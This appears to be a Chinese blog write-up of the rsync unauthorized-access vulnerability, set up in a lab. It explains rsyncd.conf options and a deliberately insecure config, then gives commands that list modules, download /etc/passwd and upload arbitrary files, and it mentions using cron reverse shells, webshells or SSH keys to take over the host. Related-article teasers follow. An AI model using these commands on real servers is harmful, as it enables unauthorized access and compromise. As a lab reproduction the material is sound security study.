rsync 未授权访问漏洞
rsync
rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限、时间、软硬链接等附加信息。 rsync是用 “rsync 算法”提供了一个客户机和远程文件服务器的文件同步的快速方法,而且可以通过ssh方式来传输文件,这样其保密性也非常好
rsync配置文件
配置文件 rsyncd.conf 由全局配置和若干模块配置组成。一般在/etc/rsyncd.conf
配置文件的语法为:
- 模块以 [模块名] 开始
模块定义什么呢?主要是定义服务器哪个目录要被同步。每个模块都要以[name]形式。这个名字就是在rsync 客户端看到的名字,其实有点象Samba服务器提供的共享名。而服务器真正同步的数据是通过path 指定的。我们可以根据自己的需要,来指定多个模块。每个模块要指定认证用户,密码文件、但排除并不是必须的 - 参数配置行的格式是 name = value ,其中 value 可以有两种数据类型:
- 字符串(可以不用引号定界字符串)
- 布尔值(1/0 或 yes/no 或 true/false)
- 以 # 或 ; 开始的行为注释
- \为续行符
| 参数 | 说明 |
|---|---|
| uid | 此参数指定与该模块之间的文件传输的用户名或用户ID |
| gid | 此参数指定在访问模块时将使用的一个或多个组名称/ID |
| use chroot | 若为 true,则 rsync 在传输文件之前首先 chroot 到 path 参数所指定的目录下。这样做的原因是实现额外的安全防护,但是缺点是需要 root 权限,并且不能备份指向 path 外部的符号连接所指向的目录文件 |
| max connections | 指定该模块的最大并发连接数量以保护服务器,超过限制的连接请求将被告知随后再试 |
| syslog facility | 指定 rsync 发送日志消息给 syslog 时的消息级别 |
| pid file | rsync 的守护进程将其 PID 写入指定的文件 |
| log file | 指定 rsync 守护进程的日志文件,而不将日志发送给 syslog |
| path | 指定当前模块在 rsync 服务器上的同步路径,该参数是必须指定的 |
| comment | 给模块指定一个描述,该描述连同模块名在客户连接得到模块列表时显示给客户 |
| read only | 指定是否允许客户上传文件。若为 true 则不允许上传;若为 false 并且服务器目录也具有读写权限则允许上传 |
| auth users | 指定验证用户名,可以不设置,不设置默认不用密码,设置的话安全性更高点 |
| secrets file | 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为400 |
| hosts allow | 设置可以允许访问的主机,可以是网段,多个Ip地址用空格隔开 |
该漏洞环境下rsync的配置文件

uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log[src]
path = /
comment = src path
read only = no
由配置文件,我们可以访问path所指定目录以外的目录,该配置还定义了一个src模块,路径指向根目录,而且可读可写,最重要的是没有设置用户名,如此便无需密码直接访问
复现
查看可用模块
rsync 192.168.122.1::
rsync rsync://192.168.122.1:873/
rsync rsync://192.168.122.1

列出模块下文件
rsync 192.168.122.1::src
rsync rsync://192.168.122.1/src

下载任意文件
rsync rsync://192.168.122.1/src/etc/passwd ./
rsync 192.168.122.1::src/etc/passwd ./

上传任意文件
rsync x.txt rsync://192.168.122.1/src/home/
rsync x.txt 192.168.122.1::src/home/


然后可以写入了一个cron任务,反弹shell,有Web服务的话,可以写WebShell,或者写ssh公钥等
参考:
rsyncd.conf
rsync 未授权访问漏洞的更多相关文章
- Rsync未授权访问漏洞的利用和防御
首先Rsync未授权访问利用 该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell. 我们具体来看配置文件的网相关选项(/etc/r ...
- rsync未授权访问漏洞复现
rsync未授权访问漏洞简介 rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口.由于配置不当,导致任何人可未授权访问r ...
- 【Vulhub】Rsync未授权访问漏洞复现
Rsync未授权访问 Rsync简介 rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限.时间.软硬链接等附加信息 ...
- rsync未授权访问漏洞利用
漏洞描述:rsync是Linux系统下的数据镜像备份工具,使用快速增量备份工具Remote Sync可以远程同步,支持本地复制,或者与其他ssh,rsync主机同步.也就是说如果你可以连接目标IP的r ...
- Rsync未授权访问漏洞的修复
转自:https://www.cnblogs.com/KevinGeorge/p/9648028.html 配置文件/etc/rsync.conf解析: motd file -> motd文件位 ...
- (四)rsync未授权访问
01 漏洞描述 rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口.由于配置不当,导致任何人可未授权访问rsync,上传 ...
- Rsync未授权访问
1.漏洞名称 Rsync 未授权访问漏洞 2.漏洞原理 rsync是Linux下一款数据备份工具,支持通过rsync协议.ssh协议进行远程文件传输. 其中rsync协议默认监听873端口,如果目标开 ...
- mongodb未授权访问漏洞
catalogue . mongodb安装 . 未授权访问漏洞 . 漏洞修复及加固 . 自动化检测点 1. mongodb安装 apt-get install mongodb 0x1: 创建数据库目录 ...
- [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上
一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...
随机推荐
- 痞子衡嵌入式:飞思卡尔i.MX RTyyyy系列MCU特性那些事(2)- RT1052DVL6性能实测(CoreMark)
大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是飞思卡尔i.MX RTyyyy系列MCU的性能. 在前面的文章 i.MXRTyyyy微控制器概览 里,痞子衡给大家简介过恩智浦半导体在2 ...
- Spring Boot 2 + Thymeleaf:表单字段绑定、表单提交处理
Spring Boot中Thymeleaf对表单处理的一些用法:(1)使用th:field属性:进行表单字段绑定(2)使用ids对象:一般用于lable配合radio或checkbox使用(3)表单提 ...
- 【分享】git全套视频教程
1.课件 https://www.cnblogs.com/wfd360/p/10891140.html 2.教程列表 3.教程下载 3.1.直接在线学习 学习地址:https://study.163. ...
- 使用VS Code开发纸壳CMS自动编译主题压缩CSS,JS
Visual Studio Code (简称 VS Code / VSC) 是一款免费开源的现代化轻量级代码编辑器,支持语法高亮.智能代码补全.自定义热键.括号匹配.代码片段.代码对比 Diff.GI ...
- SQL注入:DNS注入
DNS注入原理: 通过我们构造的数据,访问搭建好的DNS服务器,查看DNS访问的日志即可获取我们想要得到的数据. DNS注入使用场景: 在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这 ...
- elementUI+Vue实现管理系统的登录页面
<template> <div class="maxbox"> <div id="appp"> <vue-partic ...
- python-openCV 绘制图形
文档链接:https://docs.opencv.org/trunk/dc/da5/tutorial_py_drawing_functions.html 文档描述了OpenCV的几个绘图功能: 绘制圆 ...
- bzoj3293 分金币
题目链接 problem 圆桌上坐着n个人,每人有一定数量的金币,金币总数能被n整除.每个人可以给他左右相邻的人一些金币,最终使 得每个人的金币数目相等.你的任务是求出被转手的金币数量的最小值. so ...
- 基于Django的Rest Framework框架的分页组件
本文目录 一 简单分页(查看第n页,每页显示n条) 二 偏移分页(在第n个位置,向后查看n条数据) 三 CursorPagination(加密分页,只能看上一页和下一页,速度快) 回到目录 一 简单分 ...
- Net Core 3.0 尝鲜指南
swagger .Net Core 3.0中的swagger,必须引用5.0.0 及以上版本.可以在Nuget官网查看版本.目前最新版本(2019-9-25) 5.0.0rc3 Install-Pac ...